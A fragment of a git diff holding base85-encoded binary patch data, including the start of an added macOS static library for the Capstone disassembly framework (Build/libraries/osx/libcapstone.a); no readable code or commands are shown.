z0;e$A7bD{KdHZH^Lx@sigBXIn5T%s2(~a@7B+VEh2v2ORFIkTuqO`od-H2SCR4xy_ z>&qyRebA(xl0`yPq|`t(=u1{1YRr@(5+aINkX>RON2IyEcMEPal-R4h=-K8l$~xHV>{gz#&)_fW3%}ZM*%RVnbzF3 z=_|-_j+Lg1mgYb)Ygv*fcP9`}8=4f7JbzNu z_FkjHjyKU~Ux?!^g*sd+N1-Aa*kM!51?&v$>WvW#2N|0CbR`|yf5mj_)fExgC|5*) zbw ztvUYQ%yNjvA8PSgV@%G|swQ|iKJHgH+!kYw3ow8#RX5z7qvbH5O{()vyao`6M=O*~mA=$vLE zC~}aXaKj@;_chkAu!l9yEL(#)k!wPW8E{fSA{`070E_4oq8C#{D+bFu;&N4kGT>yo zO6otDtP^Qs$0yF?E$^rM>i5ymsgS&BNKKa!38gW zfGETa3-yj6hm+(Jo36)L7Kt&YmwGAPMQ?++L)2Ch9gG1wPhXA_SZ|CFhOAg}b7?cl z&mH5W!DJkNVippAVtSjH0_+b&Zx`{w(T(9FPLeD8+nk(+{ zl;$Hvk}y`(q^tEorXA_`>Y_xpq8!>46MH$rXjR>k_E^9s4H$M@H-XH2S0Qr_lguUH zq>-I_{Bulhp~zv}m0f@p5wU-*fLhF7E@@q$0PEkNx>`43Jb@TDTF zO%V=Xv<<#2Ccx8ZgO@WXM@=y)M@_hLRD`pDW`c55gqJf64x7D#0mEFaPq1>I!zNg5 zZNetqrmCWgck2S~LK-enTA&_u3#gM>33_h<^WKJu!CBsj2N+` zMT)~%VnPN3>0q9?V523&*%=nbmc)G-Azwl#C&JxQ#|g${m_zcxXoQOTtLR89)n9R2+aOVP;60b(gkh-%5AJU zRluTok^ zkXazZbak=7_u%4cb*Tv7w7^%ZLYLmm7K4kECjSdfC{$My3gVH3!!}ZfZKMthq{iJ* zGFMpukPO?4Q8%625s+bE^H^-x7b7%Z3J`^DfDV$uZ7~vUPqEM`Ge9~5E=EwH6l2z4 zXVC;L2kFp+K`P5OzdA%wgPU}RlvI7s^=LFj66$91JX}v0FcrkMnZ!a2>?Nn zlm-AP4PxY3QX1%_DGdNp8pKFw5F-WjPBI$kw~0K^=`$L@NNCUxNQn@VQW2a+u9VK; z7-YI>VT294DRsbBt8OFjYS>N71m5tdnU}DH6P7V<;t`hPt;WqV2y5US74QJd@lfAk zGBeluHerxU8vjo2&dvQJO@lL>8++k3MA11x~>^c!vN8U zVxP%`H za0x%;a36jsClnklAATt2VECb&&_;^khhmP&QCrGkDTQXISvH|fkBrd5gg~d*IWvS7 zNB~+OAye#}0)S1<0BlnAQ|z1sd@Gq^=WsfaO|M?3*bQ9Fnwxy+6g$VYDRvIVT{p8K zHWy`Z1@qp5bUI`3W|p@r9dT(<3f23S8YwvLQoska1%Es(;a{vTgE3yEQLrn639M&f$XE_0NhBBF zNdz0;Nep>8SZ4Uk41by7PZGZ#`Sm;5I?5BR6zY88cRmNuHm`w~`;HU^-?$ntq<2f# z#Luy>7-()galqawV*}j8mYZvF>uDirzQ94IaAqXX2RPww7Z=iJ0D&|)JHspX6V$!@ zyLh?%e6g2Mq?CBtt8phY6JXCvd_!XjwZZUS0yDN(zy`R;-wOAU70>}Lq6>$mw!j_Z zv3Rfn1Xqct5MCIbLvR!_5-RK{K6Bx(@DxCdwc-(?6o9r)0VO(csY+mxW3yC|V-cLR zr`Iirv5AeVlM}`mJT0IBoZ_txaZ7)b9KglGSGcRbh^}NC0%e;=V%Nrw0PY!w0tb3; zdXgQsEBS_;%Ut40pRAgjehTofL`2M>x8MQ;CFuF=$?Ud{dkm+zP(KWVL4l36Sh5iI;prvY>XNK=B*ZIes3Jl_pVZ45_z&h^RO3-lW z#h|woBjCm5VUb*+;5hjj0kB6L4cRoC3eONB{W50SEXWI8D`KWPNW?apS?93FkP_aZ zAp<$H5?4rDg(53(082)-x?)mO|DkuAZZQu+%f$rr2EZff8Hp6ayb(k%gMcH9!J>KL z`wS;@u-zKFG3+>?GeQS*TtgJVJUA~mwZ@k?C=k;#Rhm zGJFSLBm9QbjFqDswnRpBuH_&)7MmcI^LO1^1mCP+S25(jS&m~1G7K9o!Eiq}?uW({ zk>wuT|5gulF9bism)$&pYy5Z%fn+ogpQrFJ+uN=?{~--eS@mkWvOOFit`HnqQ)(Wv z6G1qypHK!DnmKW)0Iq$}%!r7|2`M|fG#FsJq#O#9%XaCkIe=nRnk@tBUX2W>HOPQk zzYM6m5*^Su<9ImO7I~#i8Vh(qXB&5J)pMN+@Kcag^ytZKbcH}u>|_FVQYu@M`A~mg z5OJc`vM}G1AFxXD7p*VeZ3(q?0Cl3RbgC|7q=G-x@grQ0Lji%aHNE=vU>ADI$ zRoC4Mg}|VsrGzA1vcUDgycc4rCWmingfFvJIR4zvmBGCUKLr2zu@J;ZsGJ`x5q5#z4nG@J>G>cZ?ibqfi2UIi{P7+;o z7p_Q$;=4&|toU4#Sy}$njveJP1IFP)kCp&Se}q$8{;*T5j_Kj3aH@)NE52OeEo1UI z!QDtnYVxV_(hjV@kAzkIt+vtNLIv`}F)cvWyqSAD`RXQLJH2uCeUyIpv-EzNzMEj5 zNxpDDNyNoj6)p~)$>lg^_24$*!ab@~XTd{+^$0hnba&6-Rygc=!~5)$$xMd@*h+`|G`_k$U@U=rCV0;_e96sN4$ofk;mHN)s)x$Zfy_{X6>jpA_i3;? ziN#kh+s+C%tfI+vK^C|e@~|uI4AOBSF&<`C z@h1i@=$zfYhgV7Y%+5V21`qZ6TiQ{1r`qX}W-z&k)J9HWdd6{ce{vkR%Q=(Rv5C6S zP6K#>AO`rpyi3fJ`GfRR(+6pK^vQGtvf}jQQ_}lsdi=?BTs=F^NWx_bB#DFIc?v*C zDgYP)i9V&!9zxP_EiwH~0eD7oau7fRzAG66NCl#~CvZfft|@w zIz$sbCA}X3P>cAJ=^~mm3q+FwAes~aSp8eTBAW22>4N|e(S%Ro0^>)NAEF7LlHQL1BAPT^M3aIbniK%hqyUH}07Nw5Qwr^2 zp~6*)0Ei|9h-d=HL=yna1kuPKBojFiP59LGK>&zo!l!V7eZ-y%a2bC}dOuB%KbbC~ z2^0u|Xi@+~lL8=`01(lHPbsvAfi@FO3J}o*kclP$NCiDa-$1upKmeHMfB_)9lP}n; z^l*2e zxSgkQ3F$VxUGqZuiEEfa6TSnlHN>;ExS-(Dc!=rZNJbJ|g;u^`aC^VI>+-Co>q;^? zz<{r%v1^cpQD6 z+H{b8$Ydv(SDOV@2v@_$%I#4`P&iy6<1%}=IJ;0m4?tVs)AUu&fkzzgZ|@5tdI~lI zfSzHCRaD{0ivy;PtJAnGYG+4WaBbtXG0@}CLeV9x-Tia8bsH}tNx`mqB07CF(6cEp zI>L++IYj#&&0>=0cD6kN$!4i%LaH<#CvZV8M6|e#k#l)BS#qUOx$w5P|HN~xhj>H+ z4B1?v@6$L5K&xK#0E~cqy|j4yYWEzjm&YU_j9fVL9oBNVt3qQh9d4+wpP2tc)*W6$ zh3Nu=R({;$2M?A@gp40| zu&k0p^%7}3QD5_VVy$%t+cT{G(#)O%tcxqtBBn^ZxR6HaQ`Y=Yviw497PE0Tqmqmg zLzD+l-4v)Z*sRABUXLz!F5?v@+zE%fadCvP6!zTS+TGHpkWS%F(|UPIxkYx^dA$BZ zI%~8@hZk#~a-^aDn@No{R!ZK$M1+PfJ-W_;R1v*g(R~UJv_oR2u*piU@zp7!T+rnE z+nKHSmg6&9``aDaBP6#8FknETu}xUv;DI-ru|FdC$K^$Ho`HVY`(s+Gt#3{lK~sJ1O-L zZH~4@Se^>Rt}6zKU;?T&F5lHGiWdJycy6iGFzo>?;f6hz9ST)Hg)I`K$fO$g&jZU3 z2o4~AipGDKOk*hTQN}erdxj71c{!ZLn{e?bE>dSUGmqpv8+>A9J~5FZr;*1vb;hS4 zB5ZlzA=u4`?EW@8zUOei8(+(g1)-$Sd;s6s-`R?b@dIB>aW_FpJ>!VQ)ZK}xvNh2Q zF_K5<)Y%k5@ku}yi8MQdDfnR%W%kz2ynQ7stZDWv(6K%Kpi)k$~Bg+)3*7hXpw- z_mECYeX#K4F!?yZm*fi%^;j|5Fc=kU-1W~pQ!!snlGr>l-fCL8qUhN!7xATny#7+E z>{8I(^<^hkzme){*pgY<;9KJ@RQV9OD~aQ`K1_ZEJ?Jq|^*LEqk&;iv(IgUn&7 z0mlZlA{>*31{}Q&J0m;^$~gmhX{4C0Qi^SogM)+HyWE6LtP=Y$dh=+0dVBZW&RHi* z583Y=&8Mf##$q_dYCj(@lo8zj76Qedvb&4RuP8ob#VrSnl3H&(;-?J_l7y2~&eFNz zY7VO>))*{P_LiH*JLJHKZ73905rr!>N`*Z>nPG18#ScsLCdmO@k8$5N z7ILm6ro-|nIEI+@MBqwlZKYBG5w0ZpBBCm7;~{F|%4laVfk2$@O%R_YxMY|DE$RD| zl>b~8!OC(1meP-=i&L_&t-jryj+z@_5l(I!V7JdSxGsG4<2-6*5z)Hkz7XC22t$C!1S2q_q1?)p0u@(Yu^eCu*+^%m_EgPHSw!Wq=3@IJ7|CR4 z)O|q}NeAvt&0>lIQXA$gDKHwlEaz-9?IW%ppz{S^e8)rxpi|f_g=UD--EAlaf8>>%nCahb^6C?vv- zVP3j1(1|yOIr(ztG=xu#xlbfc_Fnj~0v1Wiq$WTp#~3A*N}LkQC5CH`hDydL%z8zH zSh{h>Am4;ZFUYdgx6h_^3YrVBxx@|rOjwS!l8g`WJtkUPXy4o7f3cS zHq4^F6DV#Hbyz-O(A|T#3h?m~v3eF@U?2sNUkRlQ4Nt-|%eo`i;0mn{hC_@j)Fl1o zIe@OnWeUaIZNk@Zqvj6YuZg zX)3Y!t%dEJGqca?+0VEj9WMs+1)eOQ;1W^&=A@>=BjV*b%l_Wkt{iH@w!bK*y zURX|mr=*2TS2Wr>%o-2njPM6q60j7Y6tR1CjVn_t5q%5t84RORVUNr&gURGnHuUi= zTvU6EFj=V@=eWJ^h)NA1%U^3Df|4dWk`OGhWDlDEVfX?}GHe)!MMLvN42T#$pma42 z$?CpuZrOqh+Up?pG_7H}EBJ=Gj!-d*B;jR*k>?i?@Nd?dPlWcidc69eGZj-0)Ro|Co^rTsa?| zib743HA;1j{1i)rd~UHr!bcLVjs`hqHb6z$5jueO_elwMXUTuq|j zr;H=XTcHj~#vD;NFd%i(B?L-9<^a0!?J}0>rfx@~@g~jQ!@JhKuU`9rV-dv>0-7Tv?6AS4m=tk6U>8I=Z5ol zRTqZnQ&=A2Yd&xeIWtDn$mZJOE?J;WygpzqIT{~udx5aSr^?a3eo6sfQfD^d{=iYYZV?O69PJYN%tPkx7WMEB{%NkxvcL7LPD z*Fs{8)%-(SF&ARXGSN;*4VHML&l+1VnAXKS_#3?P%|F@N$hM_z%q`AQd14SSM8rqC zj39S0iUEnJS`wGo^m5OnJT~uWvA@NQ8whVepW$oN-kMt#@u;PYqfu|r6O>du2+qln z2H#1At%qk@JJ{EnTPT+0@N|Vvtgo{%AOeD*3^~Wt$SWTTM&!oB>5ocZzq_;;B8@Md zS{D`Nd|lp$5toP_NXB;e`qEY zO3O`Rb@03f%dt$OwYOns0?2ZUjmzfPL;ING8ogBc=~P&P$Wh!05g0~{g^s{nSLcC; zXehp0H1JM8oZ8ZCRK={nbJun}(&v5!t1Xj`#KP)`nwV>;SFjZ&y9IsPU^N(xUGbrF zoYPcyLx)C`bO1L7;zCq=<~VjI^e)9tg9Kq!z}Q0Q1~wT|#qp579h;`eAWLPe!=p&& zT(L{&T89W3+ZMR2$xy}u*~7qsTX45U z0u>_77-W(7WlncW!sTv!KF5x?tQ`aFT6EQt>mamO)<+w}c@|LT!QygO2b_xG`&5of z*7Iopur*>nn_PAnp`zUMA5|3lQYbYsHwVZ@X0pOW3?^Zz9_tPDa~i+&hu_SO9Wxr{0443-z=3)yE5%jE_b{; z#D}~3-jOeK9a)G9b&?TGs#GdCiRoJe8KHH&@IfxJx&k&^0gO3_EL20wOuS?g_s7^S z6+h*d4WTfWte&(03^pzVMJT~#WPTkFY+srBj!t^=e1jj*4Vk;tpxYZ=);^xfY~+yp zoUns<+fh!NNxMWkxUyXCiZVOEmX2Pba-5;0s)wa;V@aNs$0_uvLAe=-mB3=N>qP~J zfrFQ=y$88jlMF9o;sv)FM^`b=z4Dmv7?B}mm2`fq@`O9|Fd9SGO{msNsWZco+!B1- zjAv+@Y0n!bmrx(2)`IQ5>SLdEGEon0EOZ=oIqL&mVsVR3U;Ytcm*7*kF-1TLfil|KF=f$yInfXO^)}dS~&7bNRx$0X3 z>U^WO!04tiZ_`$sb#%8b^HB!sAS*wD-{HM30%d~7MIqN_LECvUD^m7cmb6~7d@H?) zd-4XGrR*}u^*DGAQkTSX*=~ree!=r2akO-QwU9cfx2`HeFC|uEWKt6osc|Gtv9!L2 zal{sGd>gSOCsfl16|1Q__eqQJQ4Z^FxNPpxgl9QpUf9K)3v6)PB*(MyXe&<&x2{E2 z(f1BaYLihqHEOXv?xU~!QNc0jJC`5TA&_9U z?$yMg(%V4XwiMd&jw8?T&9K^P4t|BHK6emuX#=|t>*<`a3#bS!hn3DAC9bqaX~HZe zLznsrj%9SpCti*8AGeAV*CIWH;{0Xu$LR#VgMTkgjPjir6J=s)Q7Fq+6r2Q2`6;%n z0k`*@U%-+gE9Oe$ZQV{5EF=tj^v_)Zz7uM%mu|=zL_AEGz+xH61`0p2sk;z*pZMsm z1PNSFTkWv1@E0bq=)uK)Atgu?ne zV=Y!6T~`74;VXMF)*=QS&62F1giTc&+b3?hwNA-bgSJrSiIv^Xh zS3JCr=wIX}GIMnFPmQUB5saAcUr|I@+XNeZXiPB1QY)wm76`4fLJt%@{MdzlOt&>gNC>$00~ zr+liCHxKz|OQa$sRF)rjbAV$a&&rlnvn;a|JBS~Qu{lXjWTc5Td>jm76U+8O;gT)m z+>J;TQ-)xTa3&Dft{%*S(R30GT_kSt(0B055>#^JMAmXST>5B+^FgJf4mY?$3`Z(v z>yh**nN)kBvgSrndzZ#oK@D}bNhU+Nz~}-BZ@pdbjFq>^QIx@27Wz$HxrA-#ZQmo-=|HNr@4esN$ev%NH1QIFALB)wx zZSFr4qd%GVp)MSIIO;`qKUEMi)>xb?anH`0d8A=1Noi8hVr!xW4ABA9Bl0gWW42kb zQwq|DsfS|>BL(iG$h^${W1r4#0kPRC`yz$PvbnT~Z;T$C_j~OtbQb2wttVblG*ytC z>}IfbF-V)k)3qcQ-Q!-GDEb0M_QlSaP}M~GJ@xVUjCx1yq&8l5l&}Q#BG6n?&75iU zb1V)TCz)t)s<5=YB%Y*h8M1tlcE_V~XqAXNslE13)DWX=kivRND_}+-S0%QO>j;rO z_A_Wl*I9cb>zg7rAp(>ZH_u!~RGf_Gk~J>gUk~S(cm>-L=UN@N3Lg9RId|+0(tjNr z7zT`kNX0>aDVD^?u^HNqmD6R1NpShKhf4M7@5h6YSCM#eS)#U_$Ydce>D;kL2W>PK z`N#DEW7npXFxK4Wql26ngb{C)h#CMqz{?CwaxGmJA{2+dB`g5;?*vhWehtEz@8oDjvGtT>Gr4Oq}=oR@U4x(oCKT<$_9ZJ`*XC}F(zp@2sG0^@iT34odTws;PNg6s_jDta*W_H@8C9OKE$!k z^ERKGc$P@)LfEqo+4;j^dS*RoHrY5rQ7^dlh)W>e#Sq1(=ryd6Hog-KLvY#pi_=q# zvZ4SEH6uWURe76?(ZW%fra5ipDofnHPBTSLxNg84*&!Yhw=PKL#Wbn}IDEJhDH`jv zl7(Y&N~77NBadh;s$q6N2wbWrvW^j?u7|iPc#IoGQq`hl?XY9K$Vr`(?_NZadgs_#3t(;7UqRJ{KzFn_4|F`x)EBo+AW?3O`S_-mb*DO@iK@V;w zu8xt#8j*o`8ooD|^QE0Sa`SiraHufjh^~hiDIM6}0TwZw(#dL9x^IC+jq%K^l^krM+Yg|D1I}3K zMT)_YN-YFqpWqyj0MZ-E`*{R{{1L{i=LwhgoFrXcw*F~k8}PQ z>aEC7gn6gI|8*@ChsvB6M!iG8-~h+M#QZVhw(w4>I@KHlxbsq)%Zk&*AE+~@Mqzjp zW9GFyT7C01!rj(!jcos09C!d9m^!NNiy)%~s@%GOeMkPBH-O0taZ>z^$#7o zh&dPxTtp3st}T|uidGMqV$-k=HhUfw2QC;>UNL9#lI?WZ3=~2@^g}GsF$fn1H`S|s zb!pLTPd$*LyIeBdcH_M_6Igz6L{UzKMsqz17QpF)u4Z$kUXEKK%!buI#3?5{yP6F6 zwxS`to2hp7h^s}r5&Tq^n9mO40myQO(UGQ3XDE$=nhFldnURh;Aajwc8#OIxBhD{` zF-LH=InXtAa(iedwqU|;=%s39hB=0i1C7FjPJ$53eH<&;-KAY`N}sH!fo8Q~7#!T8 zI+0#{7$@&C)NHh%#JM!LC@+HB*tZ!8gOc0c6IIvA-J-59qRD07s`SRKf+OM#x(U3| zNo2FN4skv{NF~q0(g+(|104I;)+yhiPDNvr9;dVe$!sym09 zX>aD61ftbCMmKJiQ}#qC+h36;#9$d{M#eT1OUdLR6Kai-ry~BaU3~vIJ5T!wb!Ew-2N#_EPFWU7h5OFwt%Yj6hmt9 zZ5fmqw3Ul~qly;IhFE#m4+ zoBW235K2o16Hy*$ne$PC5b0Rz#(1|#+*>YtmvIIF=cm-CU(8`>8AqsYe&HQA+Tl}~*oZIGGe4b>%nm^>-j~RMRvIxn=;Rv=s5A~4 zMTYowTf89}*S1?*n&Q}vOFD@20Uo&`+3BzDUD>kDGTmGv!MLg2LxJvGP!N`>O|ajH zEXcfB_GUQQp_e3D8;yE*XQy7Ab=1gMvQnXDR~NC=z`GT!R5<7ZTurs;kRA7Rl@=ms z4W3rv>m-p1vF~9K#+$R&$Zgum%qM{tmIf2mQ`VrG2m%9Vt5!ol5gDWvbeEw@7PLWQ zvuzmQqrDnc^{hLdU!8xpolSoB&39%RlM2O@M(0&L`V1%gQesHt5nIk(^~P!^K5K6s z1l&}xsxI7qlbwf-*milUXWjPP8*jL+dhRW^+;#p!b>W5^Z#!RkDHmcDjz);xIQcmr zBwhTII9BmvGg;U{wrr{!$l=Cs!2AP)G9hT4cCs=UE{ z$6Vl$SwXU?INDa)YGl$_2IPzz5$GU@G~^5e8Om4D;6J-=$7F;CR#1jQ`z7|6sFb-K zEsz+P_{;>#sKzB+`JvmKcrU152eBm%)n}bh`vOfo{DT&>>xG37#$sO7?Aleg4W!G@ z@J_6l@yzc%DUCRyXQ6ZI(60T{EzCq4A=T>1mPYh~!jTjP9nv8sid;0tuIvI;DOTzq zb#rzq69vY4dQtHaM=!11L$$iXs`v#o-KZrwI5>o3^j=@QjX@%Op)Az6?tW6*P>V2Z@fb$Tq4h$`lo;&Z1*EtWU&S%Ahj3r7Vn2l%&%n zJb}c3Mj}S)MHuDE-gSs!`6iZWlI~~_zfm><@XZJWp^QhC%xSb7&UbMNy~)zaRz{Fy zwMrTd{K`(v&V&;#jowK$vxR@{2;Bdoo20|Ilm$$j%;RGVbSdQ`z+`%FqO!d?dR~Pp zEY~l|rPf)nl~c1epXzSdoIB4y>n;ROpL^#G&pKb-b?b}Hs{%k73T{WPI#froELO9; z+vwR88Zg+g6+B1&Wv1kGTCx*(ahIh|E$|? zz44~1d%Ao2j95(~z_Y=9kJ^bXgY2)zxG}(njx-YxBu47rH=r@ZqI->JIZ{k9l_{vw zV>_}Pk@ZefL1>1<$tke9^}_8CyEFK38F`}Mg50wXUfcsO_!&luh26UV3nY8N$ze`+ zJ;wtLb+d95mtJR&>aS8>OgM};(<*@MdOmERkPngHac`x&_EHo)f5NB!M%eJN%36e% z`i$9VG6w^FEOcj?>4@P*?ZM$i>~bAXLMmPvKs67u8m+KN3|43q@YwRO-5CU;f?N+U z+e+(W$Xa$t0RT5-V zrI|$SW&)Eg%N@#9bwCeCEu0*lPjq)1?L6i@bkdM4WrFw>kMwks3IlV9OEB<8CGYh} zt4ZxhA;zv+DEQb=_r2W|#Zl)PQktS?KvURArcfy?k}luE=-}4c27=rQ0YulK5OIe= z>Y($?x(#IC`wa{Euum1&uR%eYjZ0Gr3~B-d-scT83>bH&(nu+BvXKh_?aAe-6wygV zcHz4Zb92R3TukwgN2R{G8fTJ_teZ?@Fgnh&uI@?{9k=j8S|Dny3c{*VoqJj90Rdp~ zba|eXTYI@;ky06nf~T;)uAHSnc}s(;FOET)CT5)~##mfp)WHBIL@BmoDuoW}*#5B} zRa~cnwl~ZeD#k8oL2KX*PI@%9;4H5m%EJHBlHwuK?hFA%XCC16^3YsovzpX(gL8~s z8MV&o)#WM9$KWqU5c!LqslTv=tUi4(+nnZ;RKrs^Wg}m5so-hER*|zKe=+_@iW>mq zj|yqH9=by$=Og`#QU14HqZ!=a@3H)3gLxeP2JQ^;!=({+ z?ISeB{e9Vc_1l&2^1J%akj(ryDq80?AJrf3@Ao`NznTA$_a2asG#YN>kn6=VcilZkgTR@6Ymo&tEHo`|I#5o9Exv<43am3(N2R zp1XzG75?S)UV)^T|2J=6Ey(WgRUxbV%Bs_OwdHsE@J`F`{(k;_DS_+K&(3SJ{BQ55 z0=vJHQJNty|BYGxCm(2j_xJO!O*P)h%~5>|eta$d@AT`HU-dLedgWI=O#bHh?%VzS z9bggD<$sOkf6bSf|M!uX9J>6kxBRcS{QK`lV)XC2=r@0U2>++Y@R=&ujj7eqQsxHN(Fy`~E-pCjWUoUH*TO z;S-nt+}|%oza_!`^9d{eKJ89E$>no^hXRnpnD(1jX$yVF8>yY)Uyl0?E&1>Nuiqq@ z-u?$6FMs9vzquv<+kW7&lJUv!OB*oHzhn7x`F;HM$4maNe0!S1eYwBSwETh`{pV9x zJyE`{PpjYHpL9|VmB^E?)%@4JL`!-cz>ftjr+04rpnY??qdE1z&)#Uu52>KhKcyA` U94<@w-&{ROkZ#K|WS^b?2eXqA-v9sr literal 0 HcmV?d00001 diff --git a/Build/libraries/osx/libcapstone.a b/Build/libraries/osx/libcapstone.a new file mode 100644 index 0000000000000000000000000000000000000000..60117e453f1f6527bdd6a26eee87da1b157b8a5b GIT binary patch literal 1605392 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 